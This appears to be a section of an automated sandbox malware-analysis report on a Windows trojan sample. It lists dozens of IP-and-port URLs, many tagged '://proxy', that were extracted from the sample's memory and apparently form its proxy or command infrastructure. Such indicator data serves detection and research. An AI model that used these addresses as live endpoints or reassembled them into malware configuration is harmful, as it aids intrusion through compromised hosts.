Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32:8123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32:8123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.118.36
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.118.36://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.118.36:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.176.57:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.176.57:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.73:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.73:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.85:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.85:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.178.121:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.178.121:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.180.105:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.180.105:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.180.149:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.180.149:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C903D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.182.59:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9002000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.182.59:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.183.188:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.183.188:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.235.172:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.235.172:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214:8123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214:8123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.27.86.185
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.27.86.185://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.27.86.185:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.188.17:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.188.17:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.189.184:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.189.184:3129://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C846E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.190.150:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.190.150:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.206.138
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.206.138://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.206.138:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA62F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.58.43.148:2028
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA60E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.58.43.148:2028://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB01D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.6.9.237:20000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB015000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.6.9.237:20000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.78.102.191
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.78.102.191://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.78.102.191:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.10.150.115
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.10.150.115://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.10.150.115:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.106.124.54:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.106.124.54:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.106.184.97:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.106.184.97:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.108.197.2:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.108.197.2:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.108.234.105:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.108.234.105:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.109.65.110:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.109.65.110:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.110.173.17:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.110.173.17:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.111.182.6:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.111.182.6:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.111.232.94:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.111.232.94:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.116.198.160:58927
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.116.198.160:58927://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.116.198.180:32605
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.116.198.180:32605://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6674000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.116.198.222:9812
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.116.198.222:9812://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.117.13.75:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.117.13.75:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD12C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.117.13.75:999x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.125.184.61:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.125.184.61:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.155.168.70:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.155.168.70:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.170.196.94:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.170.196.94:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.174.198.95:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.174.198.95:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.2.196.42:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.2.196.42:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.2.196.42:5678HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.229.224.221:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.229.224.221:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.24.130.138:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.24.130.138:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.24.130.68:6696
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.24.130.68:6696://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C760E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.29.109.112:44749
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.29.109.112:44749://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.39.139.65:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.39.139.65:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.39.154.1:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.39.154.1:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.41.148.2:12000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.41.148.2:12000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.52.148.10:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.52.148.10:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.54.194.13:53281
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.54.194.13:53281://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.54.22.74
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.54.22.74://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.54.22.74:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.55.249.135:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.55.249.135:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.59.10.49:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.59.10.49:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.63.107.118:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.63.107.118:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.7.11.154:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.7.11.154:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.7.118.62:666
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.7.118.62:666://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.7.118.65:666
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.7.118.65:666://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.79.141.86
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.79.141.86://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.81.144.13:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.81.144.13:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.81.144.253:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.81.144.253:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.85.137.1:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.85.137.1:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.11.38.204:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.11.38.204:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.13.147.161:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.13.147.161:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.140.238.231:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.140.238.231:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.157.254.26:8080
